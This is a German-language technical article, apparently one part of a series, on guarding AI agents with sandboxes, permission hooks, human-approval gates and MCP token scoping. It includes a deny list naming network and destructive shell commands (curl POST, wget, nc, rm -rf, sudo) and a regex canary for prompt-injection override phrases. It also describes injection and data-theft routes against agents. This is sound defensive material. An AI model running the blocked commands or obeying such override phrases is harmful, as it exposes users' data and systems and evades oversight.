Wenn der Network Access deaktiviert ist, legt Codex Stub-.bat- und .cmd-Dateien für ssh und scp in einem Verzeichnis am Anfang von PATH ab. Diese Commands beenden sich mit einem Non-Zero-Status, statt die echten Binaries zu erreichen. Codex setzt außerdem HTTP_PROXY, HTTPS_PROXY, ALL_PROXY und die Git-Proxy-Variablen auf einen nicht erreichbaren lokalen Port. curl, wget und git haben dann keine Möglichkeit, Traffic zu senden.

Isolationsoptionen jenseits von Claude Code und Codex

Wenn du einen eigenen Agent rollst, erweist sich „Sandbox“ als Sammelbegriff. Die Open-Source-Optionen liegen auf einem Spektrum – von leichten Namespace-Wrappers bis zu vollständigen MicroVMs – und die Wahl hängt davon ab, wie sehr du dem Code innerhalb der Sandbox vertraust.

Leichte Isolation – gleicher Kernel, weniger Privileges:

  • bubblewrap – ein Wrapper für Namespaces plus seccomp. Dasselbe Tool, das Flatpak verwendet, und dasselbe Tool, zu dem Claude Code unter Linux greift. Schnell, günstig und für vertrauenswürdige Tools geeignet.
  • Standard-Docker-/OCI-Container – Namespace-Isolation über einem gemeinsam genutzten Host-Kernel. Keine Sandbox für nicht vertrauenswürdigen Code; gVisors eigene Dokumentation stellt das ausdrücklich fest („containers are not a sandbox“). Als Ausgangspunkt in Kombination mit seccomp und AppArmor vertretbar, aber nicht mehr.

Application-Kernel-Isolation – der Agent spricht mit einem Fake-Kernel:

  • gVisor – Googles User-Space-Kernel. Dein Container glaubt, unter Linux zu laufen, während eine in Go implementierte Kernel-Schicht System Calls abfängt. Das reduziert die direkte Exposure gegenüber dem Host-Kernel ohne Guest VM, bringt aber Kompatibilitäts- und Performance-Trade-offs mit sich.

Vollständige VM-Isolation – ein dedizierter Kernel pro Sandbox:

  • Firecracker – AWS’ MicroVM-Technologie. Jede Sandbox erhält ihren eigenen Linux-Kernel innerhalb von KVM. Ein Kernel Escape in einer Sandbox betrifft weder den Host noch eine andere Sandbox.
  • Kata Containers – Container-UX mit VM-starker Isolation. Eine Option für Kubernetes-Cluster, die nicht vertrauenswürdigen Code ausführen müssen.

Plattformen – mieten statt selbst bauen:

  • E2B verpackt Firecracker in eine Hosted-Sandbox-API.
  • Alibabas OpenSandbox lässt dich deine Runtime – gVisor, Kata oder Firecracker – hinter einem SDK auswählen.
  • Microsofts Agent Governance Toolkit (MIT-lizenziert, April 2026) ergänzt eine Runtime-Policy-Engine. Enforcement im Sub-Millisekundenbereich, direkt auf die OWASP ASI Top 10 ausgerichtet.

Wähle den Isolationsgrad anhand des Trust Levels des Codes, der Tenant Boundary, des Network Access, der Host-Daten und der Recovery-Kosten. Namespace- und seccomp-Controls können für vertrauenswürdige interne Tools ausreichen. LLM-generierter Code und nicht vertrauenswürdige Packages benötigen eine stärkere Boundary wie gVisor, Kata oder eine MicroVM, gefolgt von Tests der Escape- und Exfiltration-Pfade in deinem eigenen Threat Model.

Claude Code und Codex haben aus demselben Menü gewählt wie alle anderen. Sie haben es nur unterschiedlich verpackt.


PreToolUse Hooks als programmierbare Policy

Modes und Allowlists decken die einfachen Fälle ab: „Der Agent darf Dateien bearbeiten, aber kein Bash ausführen“, „Alles ablehnen, was wie rm -rf aussieht.“ Sie scheitern, wenn deine Policy echte Logik benötigt. Du willst git push nur blockieren, wenn der Branch main ist. Du willst jeden Edit ablehnen, der eine Datei bearbeitet, die auf eine Secret-Regex passt. Du willst Shell Calls pro Session rate-limiten oder jede Tool Invocation in dein zentrales Audit Log leiten (das SIEM, also das Security Information and Event Management System, das dein Security-Team ohnehin überwacht).

Nichts davon passt in eine statische Allowlist. Dafür gibt es Hooks – Shell Commands, die Claude Code an bestimmten Punkten im Tool-Call-Lifecycle ausführt und die den ausstehenden Call prüfen sowie ein strukturiertes Allow/Deny zurückgeben können. Claude Code stellt etwa dreißig Lifecycle Events bereit (die vollständige Liste steht in der Dokumentation); eines davon stellt die gesamte Reihenfolge auf den Kopf: Ein PreToolUse-Hook, der permissionDecision: "deny" zurückgibt, blockiert ein Tool unabhängig vom Mode.

So sieht die Settings-Struktur aus:

{
    "permissions": {
        "defaultMode": "acceptEdits",
        "deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
    },
    "hooks": {
        "PreToolUse": [
            {
                "matcher": "Bash",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/pre-bash-firewall.sh"
                    }
                ]
            },
            {
                "matcher": "Edit|Write",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/protect-paths.sh"
                    }
                ]
            }
        ]
    }
}

Ein Hook kann ein Shell Script mit fünf Zeilen oder eine vollständige Policy Engine sein. Entscheidend ist die Rückgabeform:

{
    "hookSpecificOutput": {
        "hookEventName": "PreToolUse",
        "permissionDecision": "deny",
        "permissionDecisionReason": "writes outside workspace prohibited"
    }
}

Das Model sieht ein strukturiertes Deny. Der Reasoning Loop aus Teil 1 verarbeitet es wie jede andere Tool Observation: Die Ablehnung wird zum Context, der Agent plant neu, der Loop läuft weiter. Das ist der Nutzen von „Permission ist Infrastructure“. Das Deny ist in denselben Mechanismus eingebunden, der auch einen 500er von einem HTTP-Tool verarbeitet. Es ist kein separater Security Workflow, der nachträglich angebaut werden muss.

Ein häufiges Anti-Pattern besteht darin, einen System Prompt zu schreiben, der sagt: „Lösche keine Dateien ohne ausdrückliche Bestätigung des Users“, den Agent auszuliefern und diese Anweisung als Control zu verwenden. Ein injizierter Prompt oder ein vom Angreifer kontrolliertes Tool Result kann diese Anweisung umgehen. Das Model ist keine Policy Engine. Es kann das von dir geschriebene Muster erkennen – oder eines, das ein Angreifer vorgibt.


Human Approval funktioniert nur als Escalation

!!! byte „Byte sagt“

Ich habe eine Session mit einem Approval Prompt für jeden Command ausgeführt. Beim zwanzigsten Prompt klickte ich auf Approve, ohne zu lesen. Ein Gate, das immer auslöst, ist nur ein Button.

Die Content-Filter-Layer umschließt den Model Call und überwacht, was es sagt. Permission Ladders laufen vor dem Tool und beobachten, was der Agent tun will. Die dritte Layer, die erkennt, was die ersten beiden übersehen haben, ist der Mensch. Richtig umgesetzt ist Human-in-the-loop-Review (HITL) ein Escalation Channel. Schlecht umgesetzt ist es ein Dialogfeld, das zu 93 % bestätigt wird.

LangGraph liefert das Pause/Resume-Primitiv. HumanLayer verpackt den Approval Channel, und Anthropics Nutzungsdaten zeigen, warum Anzahl und Qualität der Escalations gemessen werden müssen.

Das LangGraph-Primitiv

LangGraphs interrupt() + Command(resume=value) pausiert einen Graphen, persistiert seinen Zustand über den konfigurierten Checkpointer und setzt ihn mit einem vom Menschen gelieferten Wert fort. Ob dieses Resume sicher ist, hängt von einem Detail in der Dokumentation ab:

„Wenn die Ausführung fortgesetzt wird (nachdem du den angeforderten Input bereitgestellt hast), startet die Runtime den gesamten Node von Anfang an neu – sie setzt nicht exakt an der Zeile fort, in der interrupt aufgerufen wurde.“

Aus diesem Restart-Verhalten folgen drei Constraints:

1. Side Effects vor interrupt() müssen idempotent sein. Wenn der Mensch antwortet, läuft der gesamte Node von oben erneut, nicht ab der Zeile mit interrupt(). Wenn dein Node also eine E-Mail sendet, auf Approval wartet und dann „sent“ zurückgibt, wird die E-Mail beim Resume ein zweites Mal gesendet. Lösung: Side Effects nach den Interrupt verschieben oder sie wiederholbar machen (Dedup-Keys, Upsert statt Insert, Cache anhand der Message ID).

2. Interrupts werden anhand ihres Index, nicht ihres Namens Resumes zugeordnet. Enthält ein einzelner Node zwei interrupt()-Aufrufe, ordnet LangGraph sie den Command(resume=...)-Werten in der Reihenfolge ihres Auftretens zu. Jede Verzweigung, die beim Resume die Anzahl der Interrupts verändert (ein if, das einen Interrupt überspringt, oder eine Schleife mit anderer Iterationszahl), verschiebt die Indizes. Dadurch kann ein Resume-Wert beim falschen Interrupt landen.

3. Halte Payloads JSON-sicher. Die LangGraph-Dokumentation verlangt JSON-serialisierbare Werte für interrupt() und Resume-Payloads. Verwende Strings, Zahlen, Booleans, Arrays und Dictionaries, die solche Werte enthalten. Vermeide Functions, Class Instances und andere komplexe Objekte, weil die Serialisierung vom konfigurierten Checkpointer abhängt. Konvertiere Approval-Daten in Dictionaries und Primitives, bevor du sie an interrupt() übergibst oder über eine HTTP-API exponierst.

Die drei kanonischen Patterns:

# No-run: illustrative LangGraph sketches; requires LangGraph, a tool decorator, interrupt, and smtp_send.
# (a) Approval gate
@tool
def send_email(to, subject, body):
    resp = interrupt({"action": "send_email", "to": to,
                      "subject": subject, "body": body})
    if resp.get("action") == "approve":
        return smtp_send(to, subject, body)
    return "Email cancelled"

# (b) Edit-and-continue
def review_node(state):
    edited = interrupt({"content": state["generated_text"]})
    return {"generated_text": edited}

# (c) Mid-run state correction — conditional edge
class AgeState(TypedDict):
    age: int | None
    pending_question: str | None

def get_age_node(state: AgeState):
    question = state.get("pending_question") or "What is your age?"
    answer = interrupt(question)  # once per node invocation
    if isinstance(answer, int) and answer > 0:
        return {"age": answer, "pending_question": None}
    return {"pending_question": f"'{answer}' is not valid. Please enter a positive number."}

def route_age(state: AgeState):
    return END if state.get("age") is not None else "get_age"

builder = StateGraph(AgeState)
builder.add_node("get_age", get_age_node)
builder.add_edge(START, "get_age")
builder.add_conditional_edges("get_age", route_age)

Resume ist graph.invoke(Command(resume={"action": "approve"}), config=cfg). LangGraph 0.4+ unterstützt ein Dict-basiertes Multi-Interrupt-Resume für parallele Branches, was wichtig wird, sobald dein Agent auffächert.

HumanLayer: Approval als Produkt

HumanLayer ist die Managed-Version derselben Idee. Du annotierst eine Function, und Approval Requests werden mit Regeln dafür, wer benachrichtigt wird, an Slack, E-Mail oder Discord geroutet. Wenn der Agent multiply(2, 5) aufrufen will, sehen die Logs so aus:

last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply

Der Approver klickt in Slack auf Approve oder Deny. Bei einem Deny formuliert es die HumanLayer-Dokumentation so: „HumanLayer gibt dein Feedback an den Agent weiter, der seinen Ansatz anschließend anpassen kann.“ Dieser letzte Teil unterscheidet eine echte HITL-Layer von einem glorifizierten Confirmation Dialog. Der Mensch wird zu einem Signal, über das der Agent innerhalb desselben Loops Reasoning betreibt, statt zu einem Gate, das nur Ja oder Nein kennt.

Approval Fatigue in den Daten

Anthropic veröffentlichte die tatsächlichen Daten in Februar 2026. Drei Ergebnisse sind wichtiger als die übrigen.

„Wir haben festgestellt, dass 80 % der Tool Calls von Agents stammen, die offenbar mindestens eine Art von Safeguard haben (etwa eingeschränkte Permissions oder Anforderungen an Human Approval), 73 % offenbar in irgendeiner Form einen Menschen im Loop haben und nur 0,8 % der Aktionen offenbar irreversibel sind.“

Das sind die guten Nachrichten. Behandle 80 % als obere Grenze, denn Anthropics Fußnote 14 ergänzt: „Claude überschätzte die menschliche Beteiligung häufig; daher erwarten wir, dass 80 % eine obere Grenze sind.“

„Neuere User (<50 Sessions) verwenden Full Auto-Approve ungefähr in 20 % der Fälle; bei 750 Sessions steigt dieser Anteil auf über 40 % der Sessions.“

Das ist Drift. User starten vorsichtig und werden weniger vorsichtig, während sie Vertrauen in das Tool aufbauen. So verhalten sich Menschen, und es ist kein Charakterfehler. Es ist ein Telemetry-Signal, das dein System verfolgen sollte. (Eine kleine Fact-Check-Anmerkung: In der sekundären Berichterstattung wurde dies häufig als „20 % → über 50 %“ zitiert. Laut Anthropics Primärdaten lautet die verifizierte Zahl 20 % → über 40 %. Falls du die 50-%-Zahl gesehen hast: Daher stammt sie.)

Anthropics Engineering-Post vom März 2026 zu Claudes Auto Mode liefert die entscheidende Zahl:

„Claude-Code-User genehmigen 93 % der Permission Prompts. Wir haben Classifier entwickelt, um einige Entscheidungen zu automatisieren, die Sicherheit zu erhöhen und gleichzeitig Approval Fatigue zu reduzieren … Wenn sich in einer Session drei aufeinanderfolgende Denials oder insgesamt 20 Denials ansammeln, stoppen wir das Model und eskalieren an den Menschen.“

Wenn ein Dialog neun von zehn Mal genehmigt wird, ist er kein verlässliches Security Control mehr. Er ist Telemetry. User haben gelernt, ihn wegzuklicken. Anthropics Antwort ist architektonisch. Ein zweistufiger Classifier (schneller Single-Token-Filter, anschließend Chain-of-Thought nur bei Markierung, 0,4 % False-Positive-Rate) entfernt Approval Prompts für risikoarme Aktionen und stoppt den Loop vollständig, wenn sich Denials häufen.

Qualität der Escalation messen

Routine- und reversible Aktionen solltest du per Allowlist erlauben und protokollieren. Eskaliere Aktionen, deren Side Effects eine Boundary überschreiten, die die Runtime nicht rückgängig machen kann, etwa eine externe Nachricht, einen Production Write, einen Force Push oder eine Zahlung. Anthropic beschreibt das Ziel als die Aufrechterhaltung der Möglichkeit für einen Menschen, einzugreifen, wenn eine Entscheidung reale Konsequenzen hat.

Verfolge den gesamten Funnel, statt ein fremdes Approval-Rate-Ziel zu übernehmen: vorgeschlagene Aktionen, automatische Allows, Escalations, Approvals, Denials, Edits und Incidents nach einem Approval. Eine hohe Approval Rate kann bedeuten, dass die Prompts routinemäßiges Rauschen sind. Eine hohe Denial- oder Edit-Rate kann bedeuten, dass der Planner die falsche Aktion vorschlägt oder die Informationen verbirgt, die ein Approver benötigt. Der sinnvolle Schwellenwert hängt von der Action Class und den Kosten eines False Allow ab; leite ihn daher aus deinen eigenen Incident- und Review-Daten ab.


MCP-Scoping und die Supply Chain

MCP verbindet Agents mit externen Tools wie Slack, GitHub und Datenbanken. Dadurch wird sein Authorization-Modell Teil der Security Boundary. Die Spec-Revisions von 2025 trennten die Rollen von Token Issuer und Resource Server und ergänzten Resource Indicators. Diese Historie erklärt, welche Audience- und Forwarding-Checks ein Server heute durchsetzen muss.

MCP-Authorization in drei Revisionen

Authorization war in der Spec vom 26.03.2025 für MCP-Implementierungen optional. Für ein Production-HTTP-Deployment, das User-Daten oder Tools schützt, empfehle ich OAuth 2.1 mit PKCE (Proof Key for Code Exchange), das die Spec verlangt, wenn eine Implementierung OAuth Authorization unterstützt. Das frühe Design erlaubte es einem MCP Server, zwei Rollen zu übernehmen. Der Authorization Server stellt Tokens aus; der Resource Server akzeptiert sie. Das sind getrennte Rollen, selbst wenn ein einzelner Service beide ausführt. Wenn dieser Service eine Request an einen anderen Server weiterleitet, kann dasselbe Credential an einen Ort gelangen, für den es nie bestimmt war. Das ist die Lücke.

Die Revision vom 18.06.2025 machte die Rollen explizit. Ein geschützter MCP Server agiert als OAuth Resource Server, während ein Authorization Server das Token ausstellt. Der Authorization Server kann gemeinsam mit dem Resource Server gehostet werden oder separat laufen. RFC 8707 Resource Indicators binden das Token an eine Zielressource, und RFC 9728 Protected Resource Metadata gibt dem Client einen expliziten Discovery-Pfad. Die Spec verbietet einem MCP Server außerdem, das Token eines Clients upstream weiterzuleiten.

Die Revision vom 25.11.2025 behielt diese Trennung bei und arbeitete an den Punkten, die ein Client korrekt umsetzen muss. Die Discovery des Authorization Servers erhielt OpenID Connect Discovery, sodass ein Client den richtigen Issuer finden kann, statt ihn zu erraten. Incremental Scope Consent wurde in den WWW-Authenticate-Header verschoben. Damit kann ein Server genau dann einen zusätzlichen Scope anfordern, wenn er ihn benötigt, statt von vornherein alles zu verlangen. Für die Client Registration wurden OAuth Client ID Metadata Documents zum empfohlenen Mechanismus; Dynamic Registration wurde für die meisten Deployments ersetzt. Auch die Discovery von Protected Resource Metadata wurde an RFC 9728 angepasst, wodurch WWW-Authenticate optional und ein .well-known-Fallback möglich wurde.

Prüfe vor der Implementierung die Versioning Page. Im August 2026 ist die aktuelle Revision 2026-07-28. Sie verlangt, dass jede Request die Protocol-Version deklariert, und erlaubt dem Server, jede Request unabhängig anzunehmen oder abzulehnen. Ein Client kann server/discover aufrufen, um eine Version vorab auszuwählen, Discovery ist jedoch optional. Deklaration und Negotiation pro Request bleiben erforderlich, auch wenn der Client einen Unsupported-Version-Error verarbeitet und mit einer gemeinsam unterstützten Version erneut versucht.

Audience Binding begrenzt Replay gegen den falschen MCP Server. Es neutralisiert nicht den übrigen Claude-Code-Angriffsweg: Ein hostseitiger Hook kann weiterhin vor dem Start des Models ausgeführt werden, und ein nicht vertrauenswürdiges Projekt kann weiterhin versuchen, die lokale Konfiguration zu ändern. Token Scope, Project Trust, Hook Policy und Sandboxing bleiben separate Controls.

Die MCP-Checkliste für 2026

Wenn du MCP in Production auslieferst oder konsumierst:

  1. Behandle Authentication als Production-Anforderung, nicht als Protocol Default. MCP lässt Authorization optional, für ein geschütztes HTTP-Deployment empfehle ich jedoch OAuth 2.1 mit PKCE. Beim Azure-MCP-Server-CVE fehlte Authentication. Wenn dein Server Traffic akzeptiert, ohne die Credentials des Callers zu prüfen, hast du ein Tool gebaut, das jeder aufrufen kann, der es erreicht.
  2. Tokens sind Audience-bound. Fordere ein Token für die Zielressource des MCP an und validiere, dass das präsentierte Token deinen Server als Audience nennt. Lehne Tokens ab, die für eine andere Ressource ausgestellt wurden.
  3. Trenne Read- und Write-Authority bewusst. MCP bindet ein Token an einen Resource Server, nicht an ein einzelnes Tool. Wenn ein Slack Server ein Credential mit chat:write akzeptiert und es sowohl an Read- als auch an Write-Handler routet, kann ein Read-orientiertes Tool über die Policy dieses Servers zu einem Message-Sending-Pfad werden. Verwende separate Resource Server oder separate Credentials und Authorization Checks, wenn Read- und Write-Operationen unabhängige Blast Radii benötigen.
  4. Verwende frische, kurzlebige Tokens statt dauerhafter API Keys. Das Vault-Pattern von Claude Managed Agents (Anthropic Engineering) ist die Referenz: Der Agent selbst sieht die echten Credentials nie. Ein Middleman-Service hält sie, ruft beim Tool Call ein frisches Token ab, verwendet es im Namen des Agents und gibt nur das Result zurück.

Supply-Chain-Controls gelten weiterhin

Die Axios- und Trivy-Incidents sind bekannte Package- und CI-Supply-Chain-Fehler, angewandt auf Systeme, die die Dependency-Installation automatisieren. Automation erhöht Anzahl und Geschwindigkeit der Ausführungen; deshalb müssen Version-, Provenance- und Review-Controls greifen, bevor der generierte Command CI oder eine Sandbox erreicht.

Die Abwehr ist unkompliziert:

  • Pinne Versionen in der Lockfile. Agents dürfen niemals eine Floating Version auflösen – kein @latest, kein npm update, kein --upgrade.
  • Scanne in CI mit Tools, die unabhängig von der geprüften Komponente sind.
  • Verwende GitHub-Commit-SHAs für Actions, keine Tags.
  • Prüfe Dependency-Diffs in agentengesteuerten PRs vor dem Merge.

Das sind Standard-Supply-Chain-Controls. Agent Automation verändert ihre Häufigkeit, nicht ihren Mechanismus.


Ein Policy-Stack für den Market Analyst Agent

Der Market Analyst Agent aus Teil 1 ist ein kleiner LangGraph-Agent, der Marktdaten abruft und einen Analyst Report schreibt – aber nicht so klein, wie diese Beschreibung vermuten lässt. Neben den Market-Data-Tools führt er eine Allowlisted CLI über subprocess aus, evaluiert vom Model geschriebenes Python im Prozess und kann einen Trade platzieren. Das sind drei der hier behandelten Capability Classes in einem Agent, den niemand als riskant bezeichnen würde. So sieht ein minimaler Policy-Stack dafür aus.

Layer 1: Ein PreToolUse Hook, der vor der Ausführung ablehnt

Selbst ein Agent, der „nur Aktiendaten liest“, kann auf Dinge zugreifen, die er nicht sollte: ein curl zu einer vom Angreifer kontrollierten URL, Writes außerhalb des Workspace, git-Mutations im Host-Repo. Eine Deny-Regel ist Infrastructure, kein Prompt. Die folgende Skizze gibt die eigene Decision-Form des Agents zurück, nicht den umschließenden hookSpecificOutput-Envelope, den Claude Code erwartet.

# agent/permissions.py
from pathlib import Path

DENY_COMMANDS = frozenset({
    "rm -rf", "sudo", "chmod 777",
    "curl -X POST", "wget", "nc ",
})
WORKSPACE = Path("./workspace").resolve()

def _outside_workspace(path: str) -> bool:
    # Resolve first: "~/.ssh/id_rsa" and "workspace/../../etc" both
    # have to become real paths before the comparison means anything.
    return not Path(path).expanduser().resolve().is_relative_to(WORKSPACE)

def pre_tool_use(tool_name: str, args: dict) -> dict | None:
    if tool_name == "shell":
        cmd = args.get("command", "")
        if any(bad in cmd for bad in DENY_COMMANDS):
            return {"permissionDecision": "deny",
                    "reason": f"command pattern disallowed: {cmd!r}"}
    if tool_name == "write_file":
        path = args.get("path", "")
        if _outside_workspace(path):
            return {"permissionDecision": "deny",
                    "reason": f"path outside workspace: {path!r}"}
    return None  # fall through to mode / canUseTool

Die Skizze macht den Control Point sichtbar. Der Hook gibt ein strukturiertes Deny zurück, und der Reasoning Loop erhält diese Ablehnung als Tool Observation.

Die Pfadprüfung ist eine Allowlist: ein Workspace Root, alles andere wird abgelehnt. Eine Denylist verbotener Prefixes blockiert nur Pfade, an die du gedacht hast. ~/.ssh/id_rsa wird niemals genau so geschrieben, wie du es notiert hast. Die Command-Prüfung bleibt eine Denylist. Substring Matching ist keine Production-Shell-Policy. Eine echte Implementierung sollte den Command parsen und sich bei der Ausführung auf die OS-Sandbox verlassen.

Layer 2: Ein Input Canary gegen Prompt Injection

Agent-Goal-Hijacking (ASI01) kommt häufig über eine Retrieved Web Page, eine User Message oder ein Research-Paper-PDF. Ein günstiger Regex-Canary erkennt wörtliche Instruction Patterns und erzeugt ein nützliches Telemetry Event. Obfuskierte, mehrsprachige und kontextabhängige Injections wird er übersehen, daher kann er nicht als Decision Boundary dienen:

# agent/input_canary.py
import re

INJECTION_PATTERNS = [
    re.compile(r"ignore\s+(?:all\s+|any\s+|the\s+)?"
               r"(?:previous\s+|prior\s+|above\s+|earlier\s+)?"
               r"(?:instructions|rules|prompts?)",
               re.IGNORECASE),
    re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
    re.compile(r"system[ _:]*prompt", re.IGNORECASE),
    re.compile(r"<\|im_(start|end)\|>"),
]

def input_canary(text: str) -> dict | None:
    for pat in INJECTION_PATTERNS:
        m = pat.search(text)
        if m:
            return {"flag": "possible_injection", "match": m.group(0)}
    return None

Logge markierte Inputs; lehne sie nicht automatisch ab. False Positives sind für einen Research Assistant teuer. Das Log ermöglicht dir jedoch zu erkennen, wenn die Anzahl der Flags bei einem User plötzlich ansteigt.

Layer 3: Structured-Output-Validation über einen Stop Hook

Ein Pydantic Model plus ein Stop-Hook liefert einen engen Validate-then-Retry-Loop für die Report-Generierung. Der Agent kann erst dann „done“ melden, wenn der Output die Schema-Validation und einen Smoke Test besteht:

# No-run: illustrative policy sketch; requires Pydantic and the repo-local agent.schemas module.
# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport

def on_stop(final_output: str) -> dict:
    try:
        report = MarketReport.model_validate_json(final_output)
    except ValidationError as e:
        return {"decision": "continue",
                "feedback": f"schema invalid: {e.errors()[:3]}"}
    if not report.tickers:
        return {"decision": "continue",
                "feedback": "no tickers in report — did you skip the snapshot step?"}
    return {"decision": "allow_stop"}

Ein Schema-Check und ein Smoke Test sind der Unterschied zwischen „Der Agent sagte, er sei fertig“ und „Der Output ist tatsächlich ein Report“.

Layer 4: Ein Interrupt Gate für Outbound Actions

Der Market Analyst besitzt bereits ein irreversibles Tool, execute_trade, und jedes Outbound Tool, das hinzukommt – E-Mail, Slack, ein Report an einen Kunden –, gehört in dieselbe Kategorie. Das Pattern ändert sich mit dem Tool nicht. Umschließe es mit interrupt():

# No-run: illustrative outbound-tool sketch; requires LangGraph, a tool decorator, and smtp_send.
# agent/tools/notify.py
from langgraph.types import interrupt

@tool
def send_report(to: str, body: str):
    resp = interrupt({
        "action": "send_report",
        "to": to,
        "body_preview": body[:400],
    })
    if resp.get("action") == "approve":
        return smtp_send(to, body)
    return "send cancelled by human"

Outbound Actions vervollständigen das lethal trifecta. Gate sie explizit, wenn Destination oder Content den normalen Blast Radius des Agents überschreiten. Messages an Finance, Customers oder externe Empfänger sollten ausreichend Preview und Provenance enthalten, damit der Approver versteht, was gesendet wird.

Was dieser Stack nicht leistet

Dies ist keine Abwehr gegen:

  • Eine kompromittierte Upstream-Dependency (Axios-Klasse). Der Agent führt aus, was uv sync vorgibt.
  • Ein bösartiges .mcp.json in einem geklonten Repo (CVE-2025-59536-Klasse). Hier greift das Permission-Modell des Host-MCP-Clients, nicht der Code des Agents.
  • Eine Data-Theft-Chain aus legitimen Tools (EchoLeak-Klasse) – der Agent liest private Daten, ruft externe URLs ab und versendet Messages. Du benötigst das Trifecta-Framing: Kombiniere diese drei Capabilities überhaupt nicht.
  • Einen Escape aus execute_python_analysis, dem In-Process-Python-Evaluator des Agents. Er blockiert eine Liste von Statement-Typen, lehnt jeden Identifier ab, der mit einem Unterstrich beginnt, und erlaubt Imports nur aus json, math und statistics. Aber exec im Worker-Prozess ist keine Boundary: Ein Bypass läuft mit den File Handles und dem Netzwerk des Workers. Verschiebe ihn vor der Evaluation von durch nicht vertrauenswürdige Quellen beeinflusstem Code in einen Subprozess mit CPU- und Memory-Limits.

Diese vier Layers sind lokale Policy, und lokale Policy ist die innerste Layer, die du kontrollierst – nicht die einzige. Jeder Punkt der Liste muss an anderer Stelle abgefangen werden: in der Lockfile, im MCP Client, an der Process Boundary um generierten Code oder durch die Entscheidung, einem einzelnen Agent nicht alle drei Trifecta-Capabilities zu übergeben.


Die wichtigsten Erkenntnisse

  1. Content-Filter und Execution Policy schützen unterschiedliche Boundaries. Filter prüfen Model Input und Output. Tool Authorization, Credential Scope, Sandboxes und Supply-Chain-Controls wirken auf die Pfade, die in den sechs Incidents genutzt wurden.
  2. Die meisten OWASP-ASI-Kategorien benötigen Controls außerhalb des Model Outputs. Verwende die Liste, um jede Bedrohung der Komponente zuzuordnen, die sie tatsächlich blockieren oder protokollieren kann.
  3. Permission ist Infrastructure, nicht Prompt. Claude Code dokumentiert die Precedence von Deny-, Ask- und Allow-Regeln, während PreToolUse vor der Ausführung blockieren kann. Das Claude Agent SDK stellt einen separaten canUseTool-Pfad bereit. Andere Runtimes benötigen ein ebenso testbares Precedence-Modell.
  4. Behandle das strukturierte Deny eines PreToolUse-Hooks wie jede andere Tool Observation. Der Reasoning Loop verarbeitet es bereits. Du brauchst keinen separaten Security Workflow.
  5. Eine Approval Rate von 93 % ist ein Signal, Prompt-Qualität und Escalation-Frequenz zu untersuchen. Verfolge Edits, Denials und Incidents nach Approval, statt ein universelles Ziel zu kopieren.
  6. Audience-bound Tokens und Per-Session-Vaults begrenzen Credential Replay und Exposure. Sie ersetzen weder Project Trust noch Hook Policy oder Sandboxing.
  7. Supply-Chain-Checks müssen mit Automation-Geschwindigkeit laufen. Pinne Versionen und Action-SHAs, scanne in CI und prüfe Dependency-Änderungen in von Agents erstellten Pull Requests.
  8. Baue die Policy-Layer so, dass ein neuer Product Launch sie nicht ungültig macht. OpenAI Agents SDK, Codex CLI und Claude Code drücken dieselben Primitives unterschiedlich aus. Entscheidend sind die Primitives (Permission Ladders, Hooks, Sandboxes, Interrupts, Audience-bound Tokens).

Die nächste Layer ist die Runtime

Teil 5, Long-Running AI Agent Runtime, zeigt, wo Sandbox, Secret Broker, Checkpoint und Audit Trace während eines langen Runs leben. Teil 6 geht anschließend in den Harness, wo diese Permission Ladder eine von mehreren Stufen ist, und fragt, wie Acceptance Checks, Retries und Trace-driven Evaluation verhindern, dass der Loop zu früh Erfolg meldet. Außerdem kommt eine Frage hinzu, die dieser Artikel nicht benötigte: ob ein Call, der mitten in der Ausführung in einen Timeout gelaufen ist, überhaupt sicher erneut gesendet werden kann.


Referenzen

Die Framings

LLM-Guardrail-Produkte

Incidents

Policy Surfaces

HITL

OWASP


Die Policy-Layer des Market Analyst Agents lebt im kombinierten Analysis-to-Trade-Graph des Repos, nicht im Analysis-Graph aus Teil 1. Sie ist ein deterministischer Guardian Node, der Restricted Actions ablehnt, Aktionen mit geringem Wert automatisch genehmigt und den Rest an einen Compliance-Officer-Node eskaliert, bevor der Graph mit interrupt_before stoppt. Die Policy-Layer befindet sich auf GitHub. Der Deny Hook, der Input Canary und der Stop-Hook-Validator oben sind Skizzen derselben Control Points. Sie sind zum Lesen gedacht, nicht zum direkten Einfügen in dieses Repo.